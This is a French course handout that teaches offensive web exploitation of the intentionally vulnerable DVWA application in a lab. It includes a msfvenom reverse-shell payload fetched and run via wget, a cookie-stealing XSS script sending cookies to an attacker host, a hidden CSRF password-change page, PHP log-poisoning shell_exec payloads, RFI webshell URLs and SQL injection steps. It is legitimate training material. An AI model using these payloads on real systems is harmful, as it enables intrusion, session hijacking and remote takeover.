DVWA · UE Cybersécurité DVWA 09/11/18 Classification : Public 4 / 58 1 Objet du document Ce document a pour objet de présenter les techniques d’exploitation offensive

DVWA

Identification du document

Référence Ue_Cybersécurité-Dvwa.Docx

Date de création 28/10/2017

Rédaction (R) BERTRAND Cédric

Version V 0.6

Nombre de pages 58

Historique du document

Version Date Auteur Commentaires

V 0.1 28/10/2017 Cédric BERTRAND Initialisation du document

V 0.2 12/11/2017 Cédric BERTRAND Modifications





Liens de référence

DVWA : Solutions, explications et étude des protections

https://www.information-security.fr/dvwa-sql-injection-solutions-protections/



UE Cybersécurité DVWA 09/11/18

Classification : Public 2 / 58

Sommaire

1 Objet du document ......................................................................................................... 4

2 DVWA ............................................................................................................................ 4 2.1 Outils ....................................................................................................................... 4 2.2 Configuration de DVWA .......................................................................................... 6

3 Cartographie de la machine DVWA ................................................................................ 7 3.1 Détecter la machine ................................................................................................ 7 3.2 Faire un scan de vulnérabilités ................................................................................ 8

4 Exploitation de vulnérabilités .........................................................................................10 4.1 Brute-force .............................................................................................................10

4.1.1 Description ......................................................................................................10 4.1.2 Exploitation .....................................................................................................11

4.2 Découvrir les ressources cachées (fuzzing) ...........................................................14 4.2.1 Description ......................................................................................................14 4.2.2 Exploitation .....................................................................................................14

4.3 Exécution de commandes ......................................................................................17 4.3.1 Description ......................................................................................................17 4.3.2 Exploitation .....................................................................................................19

4.3.2.1 Exploitation simple ...................................................................................19

4.3.2.2 Exploitation avancée ................................................................................19

4.4 XSS ........................................................................................................................20 4.4.1 Description ......................................................................................................20 4.4.2 Exploitation .....................................................................................................22



4.5 CRSF .....................................................................................................................25 4.5.1 Description ......................................................................................................25 4.5.2 Exploitation .....................................................................................................25



4.6 La faille LFI (Local File Injection) ............................................................................29 4.6.1 Description ......................................................................................................29 4.6.2 Exploitation .....................................................................................................30



4.7 La faille RFI (Remote File Inclusion) .......................................................................37 4.7.1 Description ......................................................................................................37 4.7.2 Exploitation .....................................................................................................37

4.7.2.1 Exploitation manuelle ...............................................................................37

4.7.2.2 Exploitation automatisée ..........................................................................37

4.8 SQL Injection ..........................................................................................................39 4.8.1 Description ......................................................................................................39 4.8.2 Exploitation .....................................................................................................40

4.8.2.1 Exploitation manuelle ...............................................................................40

4.8.2.2 Exploitation automatisée ..........................................................................44

5 Blind SQL Injection ........................................................................................................47



5.1 Description .............................................................................................................47 5.2 Exploitation ............................................................................................................48

5.2.1 Exploitation simple ..........................................................................................48 5.3 Upload....................................................................................................................51




6 Aller plus loin .................................................................................................................56 6.1 Comptes faibles FTP ..............................................................................................56 6.2 Elévation de privilèges ...........................................................................................56






1 Objet du document

Ce document a pour objet de présenter les techniques d’exploitation offensive. L’objectif est de découvrir et d’expérimenter des techniques d’exploitation avancées avec l’application vulnérable DVWA.

Note n° 1: vous trouverez surlignées en vert, les méthodes/techniques à connaitre pour réaliser le prochain TP noté.

Note n°2 : les techniques d’exploitation avancée sont réservées aux personnes qui ont un niveau avancé. Si c’est votre première expérience avec le pentest, débutez par les techniques d’exploitation simples.

2 DVWA DVWA est une application web qui contient de nombreuses vulnérabilités. Elle est destinée aussi bien aux professionnels de la sécurité qu’aux personnes souhaitant s’entraîner ou voulant en apprendre plus sur les attaques Web, de tester des techniques d’attaques dans un environnement légal.

2.1 Outils

Pour effectuer ce tp, voici la liste des outils utilisés. Pour plus de simplicité, il est conseillé d’utiliser la distribution Kali.

Burp : intégré avec Kali

Nessus : https://www.tenable.com/products/nessus-vulnerability-scanner

Metasploit : intégré avec Kali

Sqlmap : intégré avec Kali

Beef : intégré avec Kali

WSO (webshell) : https://github.com/tennc/webshell/blob/master/php/wso2.5.1.php

Fuzz_common.txt : Fichier qui contient les repertoires et les fichiers les plus utilizes sur un serveur web

Linuxprivchecker : script python utilisé pour l’élévation de privilèges

Iso

Kali (iso) : https://www.kali.org/

DVWA : https://github.com/ethicalhack3r/DVWA (télécharger l’ISO de dvwa pour plus de simplicité)

https://www.tenable.com/products/nessus-vulnerability-scanner

https://github.com/tennc/webshell/blob/master/php/wso2.5.1.php

https://www.kali.org/

https://github.com/ethicalhack3r/DVWA



Configurer virtualbox (ou tout autre logiciel de virtualisation) pour que kali et dvwa soit sur le même sous réseau local. Configurer la carte locale sur voboxnet0 (réseau interne de virtualbox)

Bien vérifier que le serveur dhcp est activé sur le réseau interne de Virtualbox (vboxnet)

Une fois la machine dvwa lancée, vous pouvez taper la commande « ipconfig » pour vérifier sa configuration IP :



2.2 Configuration de DVWA

Installer la base de données dvwa (http://<ip>/setup.php -> Create Database)

Puis se connecter à l’interface de dvwa (http://<ip>). L’identifiant est « admin » et le mot de passe « password ».



Puis configurer dvwa avec le niveau de sécurité « low » -> Onglet DVWA Security

Maintenant DVWA est configuré.

3 Cartographie de la machine DVWA

3.1 Détecter la machine

Faites un scan nmap pour détecter les services de la machine

Nmap –p22,80,443 –sV –sC <ip_de_dvwa>



3.2 Faire un scan de vulnérabilités

Faire un scan de vulnérabilités avec Nessus

1- Faire un scan nessus par défaut (sans configurer d’options)

2- Refaire un scan avec les options ci-dessous

Options :

- sélectionner « advanced scan »

- sélectionner scan des applications web

- sélectionner le brute-force des comptes (dé-sélectionner la case « only use credentials provided by the user »)



Technique avancée

3- Une fois le scan réalisé, refaire un scan nessus en indiquant un cookie de session avec la sécurité de dvwa activée à Low. (pour se faire, authentifiez-vous sur dvwa, configurer le sécurité au niveau Low, puis enregistrez le cookie de session)

Figure 1 Récupération du cookie

Figure 2 Enregistrer le cookie dans un fichier texte et le configurer pour que nessus l'utilise

Quelles sont les différences entre les 3 scans ?



4 Exploitation de vulnérabilités L’exploitation des vulnérabilités doit être réalisée avec Burp. Le document « UE_Cybersecurite-Burp_v0.2 » vous aidera à configurer dvwa avec Burp si besoin.

4.1 Brute-force

4.1.1 Description

Les attaques de type “brute force” portent bien leur nom, il s’agit de tester une très grande quantité de mots de passe pour un utilisateur donné, en présumant (avec certitude si l’on dispose d’énormément de temps) que l’on tombera un jour sur le bon. La plupart des processus d’authentification aujourd’hui demandent au minimum deux informations :

- Un login - Un mot de passe

Les logins peuvent être faciles à trouver, la plupart des applications et logiciels disposent souvent d’un compte d’administration “admin“, “root” ou “administrateur“. Dans d’autres cas, les logins des utilisateurs peuvent être trouvés en faisant quelques recherches, un nom de session Windows ou le nom des auteurs d’articles sur un blog (type CMS, WordPress), etc. Une attaque par brute force est très simple à mettre en place lorsqu’il n’y a pas de protectoin, on peut la schématiser comme suivant :

L’idée est donc que, si l’on peut proposer un nombre infini de réponse, on tombera forcément sur la bonne à un moment donné. Il faut savoir qu’il existe deux types d’attaque par brute force :

Avec dictionnaire : Dans ce cas, on se base sur une liste de mots, appelée dictionnaire, pour générer notre attaque. Plus précisément, nous allons par exemple prendre la liste des 100 mots de passe les plus utilisés et mettre cela dans un fichier. Pour chaque login connu, nous allons tenter de nous authentifier avec ces 100 mots de passe (un par un) en supposant qu’un utilisateur sera susceptible d’avoir mis un de ces mots de passe. Les dictionnaires peuvent être variés, être composés de noms propres à une application, un contexte, une entreprise ou au contraire être composés de tous les mots

http://www.information-security.fr/wp-content/uploads/2015/08/attaque-brute-force-schema-01.jpg



de passe dit “faibles” que les utilisateurs sont susceptibles d’utiliser (Exemple : Love, God, Soleil, password123, …).

Sans dictionnaire : Ici, nous n’avons aucune information, il faut donc tester une à une toutes les possibilités, mélanger les caractères alphanumériques, les caractères spéciaux, etc. Par exemple, on va tester “aa“, puis “ab“, etc., puis passer à “aaa“, “aab“, une fois que toutes les chaînes à deux caractères auront été tentées. Cela fait bien entendu un nombre infini de possibilités qu’il est possible de cadrer en fonction des informations dont on dispose, par exemple si l’on sait que l’application force l’utilisation de mot de passe entre 8 et 10 caractères sans caractères spéciaux.

Au delà d’utiliser un très grand nombre de possibilités, il est également courant que les mots de passe utilisés soient ceux par défaut. Alors, il est inutile de déployer les grands moyens, et tester les mots de passe par défaut les plus répandus suffit. Exemple : “admin“, “password“, “root“, “toor“, ou le nom de l’application.

4.1.2 Exploitation

Essayer de découvrir le mot de passe de l’utilisateur « admin ».

Capturer une authentification avec Burp.

Nous allons utiliser le module Intruder qui permet de répéter une action plusieurs fois (exemple : essayer plusieurs mots de passe)



Dans cet écran, on choisit la variable que l’on souhaite tester. Sur l’écran, le mot « pass » est en surbrillance car c’est celui que nous voulons tester:

Allons ensuite sur l’onglet « payload » : utiliser la wordlist « weaksauce.txt » fournie avec ce tp.



Pour brute-forcer une authentification htaccess, vous pouvez consulter ce lien :

http://www.dailysecurity.net/2013/03/22/http-basic-authentication-dictionary-and-brute-force-attacks-with-burp-suite/





4.2 Découvrir les ressources cachées (fuzzing)

4.2.1 Description

Un fuzzer est un logiciel qui va faire du fuzzing, c’est-à-dire de l’injection de données pseudo-aléatoire dans les entrées d’un programme pour voir sa réaction.

Le fuzzing web permet de déterminer les répertoires et fichiers qui peuvent être vus depuis l’extérieur de votre application web. Il est possible de lister un ensemble de pages ou de dossiers sur un serveur ou une application web. Autrement dit, il s’agit d’un scanner de répertoires et de page web, En opérant par brute force il est possible de détecter la présence de répertoires, de fichiers, de mots ou de code hexa dans la réponse de la machine cible.

Exemple de web fuzzing avec le logiciel wfuzz :

Liens : http://thpierre.developpez.com/articles/fuzzing/

4.2.2 Exploitation

Découvrir des répertoires cachés sur l’application DVWA avec Burp. Pour cela, vous pouvez utiliser le fichier « fuzz_common_tp.txt » qui contient le nom des répertoires et fichiers les plus communs sur un serveur web.

http://fr.wikipedia.org/wiki/Fuzzing

http://thpierre.developpez.com/articles/fuzzing/





Nous venons de découvrir l’existence de plusieurs répertoires (config, docs, external, phpmyadmin, etc.)



4.3 Exécution de commandes

4.3.1 Description

Les failles de type “command execution” consistent en le fait qu’un attaquant puisse exécuter des commandes et plus précisément du code depuis l’application web ciblée. Le principe est donc que l’attaquant va utiliser les composants de l’application pour exécuter du code sur le serveur, code qu’elle n’est normalement pas censée exécuter. Cela est généralement intéressant pour un attaquant car il peut alors exécuter des commandes directement sur le serveur et utiliser cela comme un premier point d’entrée. Il est à noter que dans le cas d’une telle attaque, les commandes sont exécutées avec les droits et les privilèges de l’application web qui les exécute. On voit alors grandement l’intérêt de faire tourner un serveur web avec des droits autres que ceux de “root“. L’exécution de commande à distance dans une application web tournant avec les droits de “root” permettrait à l’attaquant d’avoir directement tous les droits sur la machine cible. Si un compte avec des droits plus restreints est utilisé (exemple : apache ou www-data), l’attaquant n’aura que ces droits restreint via l’exécution des commandes.

Dans cet exercice, nous pouvons exécuter un ping sur l’adresse ip que nous souhaitons.

Néanmoins en Linux, il est possible « d’enchainer les commandes » au sein d’une même commande. Par exemple, je peux afficher le contenu d’un fichier et au sein du résultat ne garder que les lignes qui m’intéressent. Je souhaite par exemple afficher les mots de passe du fichier « weaksauce.txt » et ne garder que les mots de passe qui contiennent le mot « pass » (commande « cat » affiche le contenu du fichier, la commande « grep » garde uniquement les lignes avec un mot-clé choisi:

Pour plus d’informations sur l’enchainement des commandes sous Linux, vous pouvez consulter cet article : https://www.it-connect.fr/lenchainement-des-commandes-sous-linux%EF%BB%BF/

https://www.it-connect.fr/lenchainement-des-commandes-sous-linux%EF%BB%BF/

https://www.it-connect.fr/lenchainement-des-commandes-sous-linux%EF%BB%BF/



Nous allons par exemple utiliser le "&&" pour enchainer des commandes

Le « && »

Il est parfois utile d'exécuter une commande que si les commandes précédentes ont réussies. Par exemple si l'on souhaite vérifier l'existence d'un dossier et, s’il existe, y créer un fichier :

cd /home/~/dossier1 && touch file1

Ici, si la commande "cd /home/~/dossier1" ne s'exécute pas correctement (que le dossier n'existe pas), la commande "touch file1" qui créer un fichier vide ne s'exécutera pas non plus et par conséquent ne déclenchera pas de message d'erreur.

Linux enregistre un paramètre à chaque exécution de commande (comme un flag) qui peut être récupéré dans un script (par exemple). Ce paramètre se met à "0" si la commande s'est executée correctement et à "2" (dans la plupart des cas) quand la commande à échouée.

Pour déterminer si une commande a bien réussie, Linux analyse ce paramètre et, dans le cas d'un "0" avec un enchainement de commande "&&", il exécute la commande suivante. Si le paramètre en question est "2", c'est que la commande précédente ne s'est pas correctement déroulée et il met donc fin à l'exécution des prochaines commandes.

Nous allons utiliser le « && » pour exécuter une commande :



4.3.2 Exploitation

4.3.2.1 Exploitation simple

Afficher le fichier /etc/passwd.

Essayer d’afficher le contenu du fichier /etc/shadow ; Cela marche-t-il ? Pourquoi ?

4.3.2.2 Exploitation avancée

L’idée est de générer un webshell meterpreter avec metasploit, de l’uploader sur le serveur et de récupérer un shell sur la machine vulnérable.

Méthodo

Générer un meterpreter avec msfvenom o msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp

LHOST=192.168.1.32 LPORT=4444 -f elf > shell.elf Rendre ce binaire accessible à distance

o Créer un répertoire web accessible depuis son poste: python -c 'import SimpleHTTPServer;SimpleHTTPServer.test()' 7777

o Ou faire python -m SimpleHTTPServer 7777 Congurer metasploit pour le mettre en attente de connexion

o use exploit/multi/handler o set PAYLOAD <Payload name> o set LHOST <LHOST value> (votre machine) o set LPORT <LPORT value> o set ExitOnSession false o exploit -j -z

o jobs executer la commande suivante sur la cible

o wget -q http://192.168.1.32:7777/shell.elf -O /tmp/shell.elf && chmod +x /tmp/shell.elf && /tmp/shell.elf

si tout va bien, meterpreter sur la cible



4.4 XSS

4.4.1 Description

Les failles de type XSS sont parmi les failles les plus répandues dans les applications et sites web, elles sont d’ailleurs en troisième position dans l’OWASP Top Ten Vulnerability 2013 . Une faille XSS va permettre à un attaquant d’exécuter du code JavaScript dans les navigateurs des utilisateurs des applications et sites web visés, cela en jouant sur les données renvoyées par l’application web aux clients. L’exécution et les possibilités de code Javascript permettent d’effectuer des actions malveillantes chez les victimes, qui ne sont dans ce cas pas les applications et les serveurs web, mais leurs visiteurs. Parmi ces possibilités, on retrouve le vol de cookies / sessions, le défacement de site web ou encore la redirection des utilisateurs vers des URL malveillantes (téléchargement de virus, phishing). Il est toutefois à noter qu’il en existe deux types, les failles XSS réfléchies (comme un miroir) et les failles XSS stockées.

La particularité des failles XSS réfléchies (reflected) est qu’elles ne sont pas permanentes, cela signifie que le code malveillant que l’attaquant souhaite exécuter sur les navigateurs des victimes n’est pas stocké dans l’application web mais est propre à la requête/réponse entre le serveur web et la victime. Nous avons déjà vu certains contextes où l’application web nous renvoie un mot ou une phrase que nous avons saisi dans un formulaire. Le cas le plus classique étant un formulaire de recherche. Si l’on recherche tous les articles de “John“, la page retour contiendra quelque chose comme “Voici les articles de John” . On voit alors que la page affichée est propre à la requête (la recherche faite par l’utilisateur). Pour les failles XSS réfléchies, on retrouve ce fonctionnement car le code JavaScript à exécuter va être positionné par l’attaquant dans l’URL ou les paramètres que la victime va passer en requête au serveur. Voici un schéma de principe reprenant le fonctionnement d’une attaque XSS réfléchie :

Ici, nous voyons donc que le pirate arrive à persuader sa victime d’aller cliquer sur un lien, ce lien est une URL exploitant une faille XSS sur l’application web en question et va permettre

https://www.owasp.org/index.php/Top_10_2013-Top_10

https://www.owasp.org/index.php/Top_10_2013-Top_10

http://www.information-security.fr/wp-content/uploads/2015/08/dvwa-xss-reflected-01.jpg



l’exécution de code JavaScript afin de, par exemple, récupérer son cookie de connexion afin de le renvoyer vers le pirate, ce qui est une des possibilités du JavaScript.

Lien : https://www.information-security.fr/dvwa-solutions-protections-file-inclusion-xss/

Si l’on utilise une balise <h1> (balise html pour mettre un titre), on constate que le code est interprété par l’application :

Nous constatons que nous pouvons aussi exécuté du code javascript. Exemple avec : «

<script>alert(« hello cedric »)</script>

https://www.information-security.fr/dvwa-solutions-protections-file-inclusion-xss/



Si l’on exécute la commande : <script>alert(document.cookie)</script> . Nous récupérons le cookie de l’utilisateur :

Ce cookie peut ensuite être ré-utilisé pour usurper la session de l’utilisateur.

4.4.2 Exploitation


Récupérer le cookie de l’utilisateur et l’utiliser pour ouvrir une autre session

Lien : https://www.go4expert.com/articles/stealing-cookie-xss-t17066/

Nous allons tenter d’usurper l’identité de l’utilisateur en volant ses identifiants de session (cookie). L’idée est d’exécuter le code suivant. : <script>new Image().src='http://attacker:port/?cookie=' + encodeURI(document.cookie);</script>

https://www.go4expert.com/articles/stealing-cookie-xss-t17066/



<script>new Image().src='http://192.168.1.32:4444/?cookie=' + encodeURI(document.cookie);</script> Ce script réalise une requête afin de récupérer une image non existante (new Image().src), : il s’agit d’un subterfuge afin de voler l’ensemble des cookies associés au domaine courant. Le serveur envoie alors le cookie à la machine attaquante (192.168.1.32) et il est alors possible de générer un cookie dans son navigateur afin d’accéder au compte de la victime.

Il suffit ensuite de copier le cookie dans le navigateur pour « usurper » l’identité de l’utilisateur (utilisez un éditeur de cookie et changer les valeurs)


4.4.2.2.1 Coupler une XSS avec une vulnérabilité CRSF

Utiliser une vulnérabilité XSS pour exploiter la vulnérabilité CRSF et ainsi automatiquement changer le mot de passe d’un utilisateur

4.4.2.2.2 Beef

Beef est un framework permettant d’exploiter les vulnérabilités de type XSS et de réaliser de nombreuses actions comme :

Récupération d’informations Vol de cookies (évidemment) Keylogger Liste des sites/domaines visités Fingerprint du navigateur (OS, plugins…) Webcam !



Utiliser le framework Beef pour exploiter la vulnérabilité XSS

Lien : http://www.hacking-tutorial.com/hacking-tutorial/xss-attack-hacking-using-beef-xss-framework/#sthash.Q1ONzRjc.dpbs

http://www.hacking-tutorial.com/hacking-tutorial/xss-attack-hacking-using-beef-xss-framework/#sthash.Q1ONzRjc.dpbs

http://www.hacking-tutorial.com/hacking-tutorial/xss-attack-hacking-using-beef-xss-framework/#sthash.Q1ONzRjc.dpbs



4.5 CRSF

4.5.1 Description

Les attaques de type cross-site request forgery (ou CSRF) sont mal connues et trop souvent non prises en compte par les développeurs de sites Internet. Elles sont également souvent confondues avec les attaques de type injection de code indirecte (cross-site scripting ou XSS) alors que le principe est quelque peu différent (voir CERTA-2002-INF-001).

En français, un cross-site request forgery est une injection de requête(s) illégitime(s) par rebond. Concrètement, pour un attaquant, cela consiste à effectuer des opérations sur un site sans le consentement d’un utilisateur.

L’attaque consiste à provoquer l’envoi de requêtes (par exemple, GET ou POST) par une victime vers un site vulnérable (V), à son insu et en son nom (cf. figures 1 et 2). L’envoi des requêtes se fait lorsque la victime visite un site malveillant ou compromis (M), ou clique sur un lien. L’attaque cible toujours un ou plusieurs sites en particulier qui sont vulnérables. Le CSRF se fait toujours en aveugle, car l’attaquant provoque l’envoi d’une ou plusieurs requêtes sans obtenir de réponse.

Figure 3 L’attaquant envoie un courriel qui provoque l’envoi d’une requête illégitime

Figure 4 La visite d’un site malveillant provoque l’envoi d’une requête illégitime

On peut distinguer deux types d’attaques : celles qui profitent d’une authentification déjà établie sur le site (V) (session riding ou détournement de session) et celles qui vont forcer une authentification sur ce site.

4.5.2 Exploitation


On commence tout d’abord par capturer la requête de changement de mot de passe avec Burp



L’idée est de faire exécuter cette requête à un utilisateur à qui l’on souhaite changer le mot de passe. Pour cela, on va créer une simple page html qui contiendra notre requête. L’idée sera ensuite d’inciter (ou de forcer) l’utilisateur à visiter cette page (envoi d’un courriel, faille xss, etc.). Code de la page csrf.html :

<DOCTYPE html> <html lang="fr"> <head> <title> csrf </title> </head> <body> <img style="display:none" src="http://192.168.0.77/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change" alt=""> </body> </html>

L’ouverture de la page dans le navigateur web provoque la requête de changement du mot de passe.




L’idée est d’exploiter une faille xss (plus de détails sur cette vulnérabilité sont présents ici) pour automatiser le changement de mot de passe. Si on reprend la requête pour le changement de mot de passe (http://192.168.0.77/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change ) et l’exploitation de la faille xss, on obtient :

<script>new Image().src="http://192.168.0.77/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change";</script>

En exécutant ce script, une requête de changement de mot de passe est alors réalisée de manière « invisible » :



Le changement de mot de passe a été exécuté de manière automatisée.



4.6 La faille LFI (Local File Injection)

4.6.1 Description

Une faille de type “File Inclusion” consiste en la possibilité d’inclure un fichier du système. Plus précisément, cela consiste en le fait d’utiliser l’application et ses fonctionnalités afin de charger des pages et des fichiers spécifiques, des fichiers internes aux serveurs qui n’ont normalement pas à être lus par les clients du serveur web (faille LFI pour Local File Inclusion), mais également des pages web externes au serveur web si le serveur web est configuré pour (ce que l’on appelle une faille RFI pour Remote File Inclusion). Outre le fait que l’application puisse alors être utilisée afin de charger des pages et fichiers qu’elle n’est pas censée traiter, une faille de type File Inclusion peut amener à : Une exécution de code côté serveur, un code maîtrisé par le pirate Un déni de service, si l’on essaie par exemple de faire charger une ressource très

importante sur une page web La fuite d’informations sensibles, ce qui est notamment le cas lorsque l’on utilise une

faille de type File Inclusion pour lire des fichiers internes aux serveurs Détaillons un peu le concept même de l’attaque. Certaines applications sont construites de façon à recevoir en paramètre un fichier pouvant être exécuté, par exemple :

http://serveur/affichage.php?fichier=index.php

Ici, nous avons donc un script php “affichage.php” qui attend comme paramètre un nom de fichier. On imagine donc que si on lui demande d’afficher “index.php” ou “index“, il va aller chercher dans l’arborescence actuelle le fichier “index.php” puis l’exécuter pour l’afficher dans la page. Le fait est que si on demande maintenant au script “affichage.php” d’afficher un fichier disponible sur un répertoire au dessus de lui-même, par exemple ../fichier2.html (en supposant qu’il existe) :

http://serveur/affichage.php?fichier=../fichier2.html

On voit donc que l’on commence tout doucement à jouer avec l’arborescence interne du serveur. Si l’on décide de remonter l’arborescence complète du serveur, c’est tout à fait possible :

http://serveur/affichage.php?fichier=../../../../../../etc/pas

swd



Ici, quand une faille de type LFI est présente, on peut directement afficher le contenu de certains fichiers sensibles comme par exemple le fichier /etc/passwd. Par extension, une faille de type RFI consiste en la même opération sauf que l’on demande à “affichage.php” d’aller chercher une ressource (image, fichier texte ou page HTML) qui se situe sur un autre site. Il agira donc en tant que client web pour charger l’image et l’inclure dans son code de rendu.

4.6.2 Exploitation


4.6.2.1.1 Avec Burp

Utiliser Burp pour récupérer le contenu du fichier /etc/password

4.6.2.1.2 Avec metasploit

Exploiter la vulnérabilité avec Metasploit pour obtenir un shell sur la machine cible

Générer un webshell meterpreter : msfvenom -p php/meterpreter/bind_tcp LPORT=4000 > php_backdoor.php

Module metasploit : use exploit/unix/webapp/php_include




4.6.2.2.1 Utilisation de fimap

Le logiciel fimap qui permet exploiter automatiquement une vulnérabilité de type LFI pour obtenir un accès shell (disponible sous Kali) Option -X c’est pour exploiter une faille et obtenir un shell

python fimap.py --cookie="PHPSESSID=djonatc93aihcpcgpet1rbqtu7; security=low" -u "http://192.168.1.77/vulnerabilities/fi/?page=" –X

Le paramètre “–X” sert à lancer l’exploitation de la vulnérabilité pour obtenir un shell.

4.6.2.2.2 Exploitation via les logs

L’idée est « d’injecter » des commandes php dans les journaux d’événements, puis de lire ceux-ci afin que nos commandes soient exécutées.

Pourquoi les journaux d’événements et pas un autre fichier ? Tout simplement parce que nous avons besoin d’écrire dans un fichier (pour injecter nos commandes) puis de lire le fichier. Or chaque accès au serveur web est enregistré dans les journaux d’événements, et que de base l’utilisateur www-data a un accès en lecture aux journaux d’événements du serveur web.



La première étape est tout d’abord de déterminer quel est le chemin des journaux d’événements pour ensuite pouvoir afficher le contenu du fichier. Pour cela, on va tester les emplacements les plus communs des journaux d’événements du serveur web et vérifier si on a un accès. Sous cette version de dvwa (qui utilise lampp et non pas apache), le chemin des accès web est : /opt/lampp/logs/access_log (note : ce fichier a été découvert par le fuzzing de fichiers en exploitant la vulnérabilité LFI) http://192.168.1.77/vulnerabilities/fi/?page=/opt/lampp/logs/access_log

Chaque accès au serveur web est enregistré dans ce fichier, maintenant on va chercher à y injecter des commandes puis de lire le fichier afin que les commandes soient exécutées. C’est comme si on écrivait des commandes dans un fichier texte puis qu’on lisait ce fichier avec un interpréteur pour les exécuter. Là c’est ce qu’on va faire avec des commandes php.

L’idée est donc d’écrire les commandes que nous souhaitons exécuter dans les journaux d’événements du serveur puis de lire ce fichier afin que nos commandes soient lues et exécutées. Comment faire ? Regardons le format d’enregistrement d’un accès dans le journal d’événement :

Le format d’enregistrement est donc le suivant :

<ip_client> <date> <méthode_http> <url_accédée> <réponse_http> <taille_de_la_réponse>

La seule variable « facile » à contrôler dans ce format est l’url accédée.

http://192.168.1.77/vulnerabilities/fi/?page=/opt/lampp/logs/access_log



Nous allons donc injecter nos commandes php via l’url. La commande qu’on cherche à injecter est la suivante :

<?php echo shell_exec(base64_decode($_GET['cmd']));?>

On se connecte au serveur et on demande une page qui n’existe pas avec notre commande :

nc <ip_dvwa> 80 GET /h<?php echo shell_exec(base64_decode($_GET['cmd']));?> HTTP/1.1

Dans le fichier des accès web du serveur, nous avons notre commande injectée qui a été enregistrée et qui n’attend plus qu’à être exécutée. On lit alors le fichier et on passe notre commande en paramètre (cmd=)

On demande l’accès au fichier des accès web (en indiquant la commande à exécuter encodée en base 64) :

GET /vulnerabilities/fi/?page=/opt/lampp/logs/access_log&cmd=Y2F0IC9ldGMvcGFzc3dk

(la commande cat /etc/passwd a été encodée en base 64). Le résultat de la commande (cat /etc/passwd) est alors affiché



On peut ensuite utiliser cette technique pour obtenir un accès au serveur.

4.6.2.2.3 Exécution de commandes via les wrappers

La fonctionnalité suivante est généralement assez peu connue dans PHP. En effet, PHP propose une librairie permettant de gérer différents types de flux I/O (appelé aussi “stream”) via un protocole interne nommé « php:// »1

Une manière d’inclure un flux dans PHP via le Wrappers : “php://input”. Comme le souligne la documentation de PHP, il est possible de passer un flux (url encodé) en paramètre HTTP POST (correspondant ici à la charge utile où “payload”) grâce à php://input.

Réponse de l’application :

1 http://php.net/manual/fr/wrappers.php



Il est aussi possible d’utiliser le module web_delivery2 de metasploit pour obtenir un accès

sur la cible (via meterpreter)

Ce module délivre une commande à exécuter sur la cible et permet d’uploader un meterpreter en reverse-shell. Metasploit est en attente d’ouverture de session (comme pour la vulnérabilité « exécution de commandes » en début de document :

Pour l’exploiter via la vulnérabilité citée, on encode la commande en base 64 :

Et on l’exécute via la commande php://input :

2 https://www.offensive-security.com/metasploit-unleashed/web-delivery/



La requête exécutée, metasploit qui était en attente de connexion, s’occupe du reste :



4.7 La faille RFI (Remote File Inclusion)

4.7.1 Description

Cette faille est une extension de la faille LFI.

Au lieu d’inclure un fichier local, il est possible de passer en paramètre une url pointant vers un script malicieux développé par un pirate.

http://localhost/rfi.php?page=http://serveur-pirate.net/exploit.php

Ce script sera récupéré par l’application et exécuté puis rendu dans la page résultante.

4.7.2 Exploitation

4.7.2.1 Exploitation manuelle

Il est possible d’exploiter cette vulnérabilité pour exécuter un webshell et prendre le contrôle du serveur. http://<ip_dvwa>/vulnerabilities/fi/index.php?page=http://<ip_attaquant>/webshell.php

Exemple d’une injection rfi ci-dessous

4.7.2.2 Exploitation automatisée

Il est possible d’utiliser le module php_include avec metasploit pour uploader et exécuter un meterpreter sur la cible.





Ne pas oublier d’indiquer les cookies.



4.8 SQL Injection

4.8.1 Description

Les failles de type SQL Injection sont parmi les failles les plus courantes et les plus dangereuses dans le domaine des applications web. Les injections SQL sont notamment dangereuses car elles permettent d’accéder, dans certains contextes, à la quasi totalité des informations contenues dans la base de données d’une application web, nous en entendons souvent parler lors de piratages ayant entraîné des exfiltrations de données, notamment des données utilisateurs (noms, mails, numéros de carte bleu, mots de passe).

Lorsqu’une application web cherche des informations à traiter et/ou à afficher, elle va la plupart du temps les chercher dans une base de données, locale ou distante. Alors, elle est obligée de passer par une ou plusieurs requêtes SQL (Structured Query Language). Par exemple si, dans un formulaire de recherche, je cherche tous les articles de l’auteur “bob“, je vais envoyer une URL comme celle-ci au serveur web :

http://serveur.fr/search.php?s=bob

Le serveur web va alors utiliser ce paramètre afin d’effectuer une recherche dans une base de données, qui contient un ensemble d’informations sur les articles et leurs auteurs, une requête de ce type :

SELECT auteur, article FROM site.articles where auteur = "bob" .

La requête obtient alors un ensemble de données en retour, données qui vont être mises en forme par PHP et retournées sous forme de page HTML au client web.

Le principe d’une injection SQL va donc être d’utiliser la requête SQL faite par le code PHP afin de lire ou d’écrire des informations en base de données, cela n’étant évidemment pas prévu par le développeur de l’application web. Par contre il est nécessaire d’avoir quelques bases du langage SQL afin d’exploiter ce genre de faille. On peut généralement exfiltrer une très grande quantité de données lorsqu’une faille SQL injection est exploitée. Il est à noter que l’on retrouve également un principe de cloisonnement important. Si l’application web requête la base de données avec un identifiant tel que “root” ou un utilisateur ayant des droits de lecture/écriture sur d’autres bases de données, il sera alors également possible de les requêter.

Sinon utiliser sqlmap.

https://fr.wikipedia.org/wiki/Structured_Query_Language



4.8.2 Exploitation

4.8.2.1 Exploitation manuelle

Ce chapitre est très inspiré de l’article suivant : https://www.information-security.fr/dvwa-sql-injection-solutions-protections/

Nous nous trouvons en face d’un formulaire de recherche des utilisateurs. Si nous saisissons “1“, nous obtenons en retour “admin” .

La première chose à faire va être de voir à quel point nous pouvons agir sur la requête faite en base de données. La plupart du temps, les requêtes SQL faites via PHP sont délimitées par des guillemets ou desapostrophes, également, les paramètres fournis par le client web sont parfois directement inclus dans la requête. Ici, si l’on saisi ” 1′ ” on obtient une erreur SQL, cela prouve donc que l’on peut agir sur la requête SQL faite au serveur de base de données, en tout cas modifier sa structure pour qu’elle ne soit plus transmise de la même façon.

Voila plus exactement comment est construite la requête si nous regardons le code source :





"SELECT first_name, last_name FROM users WHERE user_id = '$id'"

Ici, nous pouvons voir que le paramètre envoyé par les clients via le formulaire est directement inclus, sans vérification, dans la requête SQL. Voici donc ce que devient notre ” 1′ ” :

"SELECT first_name, last_name FROM users WHERE user_id = '1''"

On voit donc ici qu’il y a effectivement un problème d’apostrophe, d’où l’erreur. Essayons de régler ce problème en rajoutant une apostrophe pour fermer celle que nous avons ouverte ” 1 ” ” :

